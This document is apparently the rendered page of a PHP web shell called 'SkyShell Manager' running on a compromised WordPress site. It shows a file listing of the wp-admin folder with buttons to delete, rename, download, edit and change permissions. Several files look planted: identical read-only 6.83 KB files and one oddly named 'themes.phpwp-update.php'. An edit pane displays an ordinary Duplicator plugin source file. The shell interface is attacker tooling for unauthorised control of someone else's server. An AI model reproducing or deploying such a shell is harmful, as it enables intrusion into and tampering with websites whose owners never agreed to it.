📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: ExpireOptions.php
<?php /** * Expire options * * @package Duplicator * @copyright (c) 2022, Snap Creek LLC */ namespace Duplicator\Utils; use Duplicator\Libs\Snap\JsonSerialize\JsonSerialize; use Duplicator\Libs\Snap\SnapDB; final class ExpireOptions { const OPTION_PREFIX = 'duplicator_expire_'; /** @var array<string, array{expire: int, value: mixed}> */ private static $cacheOptions = array(); /** * Sets/updates the value of a expire option. * * You do not need to serialize values. If the value needs to be serialized, * then it will be serialized before it is set. * * @param string $key Expire option key. * @param mixed $value Option value. * @param int $expiration Optional. Time until expiration in seconds. Default 0 (no expiration). * * @return bool True if the value was set, false otherwise. */ public static function set($key, $value, $expiration = 0) { $time = ($expiration > 0 ? time() + $expiration : 0); self::$cacheOptions[$key] = array( 'expire' => $time, 'value' => $value, ); return update_option(self::OPTION_PREFIX . $key, JsonSerialize::serialize(self::$cacheOptions[$key]), true); } /** * Retrieves the value of a expire option. * * If the option does not exist, does not have a value, or has expired, * then the return value will be false. * * @param string $key Expire option key. * @param mixed $default Return this value if option don\'t exists os is expired * * @return mixed Value of transient. */ public static function get($key, $default = false) { if (!isset(self::$cacheOptions[$key])) { if (($option = get_option(self::OPTION_PREFIX . $key)) == false) { self::$cacheOptions[$key] = self::unexistsKeyValue(); } else { self::$cacheOptions[$key] = JsonSerialize::unserialize($option); } } if (self::$cacheOptions[$key]['expire'] < 0) { // don't exists the wp-option return $default; } if (self::$cacheOptions[$key]['expire'] > 0 && self::$cacheOptions[$key]['expire'] < time()) { // if 0 don't expire so check only if time is > 0 self::delete($key); return $default; } return self::$cacheOptions[$key]['value']; } /** * This function returns the value of the option or false if it has expired. In case the option has expired then it is updated. * It does the same thing as a get and a set but with one less query. * * @param string $key Expire option key. * @param mixed $value Option value. * @param int $expiration Optional. Time until expiration in seconds. Default 0 (no expiration). * * @return mixed Value of transient. */ public static function getUpdate($key, $value, $expiration = 0) { if (!isset(self::$cacheOptions[$key])) { if (($option = get_option(self::OPTION_PREFIX . $key)) == false) { self::$cacheOptions[$key] = self::unexistsKeyValue(); } else { self::$cacheOptions[$key] = JsonSerialize::unserialize($option); } } if (self::$cacheOptions[$key]['expire'] < time()) { self::set($key, $value, $expiration); return false; } return self::$cacheOptions[$key]['value']; } /** * Deletes a option * * @param string $key Expire option key. Expected to not be SQL-escaped. * * @return bool True if the option was deleted, false otherwise. */ public static function delete($key) { if (delete_option(self::OPTION_PREFIX . $key)) { self::$cacheOptions[$key] = self::unexistsKeyValue(); return true; } else { return false; } } /** * Delete all options * * @return bool */ public static function deleteAll() { /** @var \wpdb $wpdb */ global $wpdb; $optionsTableName = esc_sql($wpdb->base_prefix . "options"); $query = $wpdb->prepare( "SELECT `option_name` FROM `{$optionsTableName}` WHERE `option_name` REGEXP %s", SnapDB::quoteRegex(self::OPTION_PREFIX) ); $dupOptionNames = $wpdb->get_col($query); foreach ($dupOptionNames as $dupOptionName) { delete_option($dupOptionName); } self::$cacheOptions = array(); return true; } /** * Return value for unexists key option * * @return array{expire: int, value: false} */ private static function unexistsKeyValue() { return array( 'expire' => -1, 'value' => false, ); } }
Save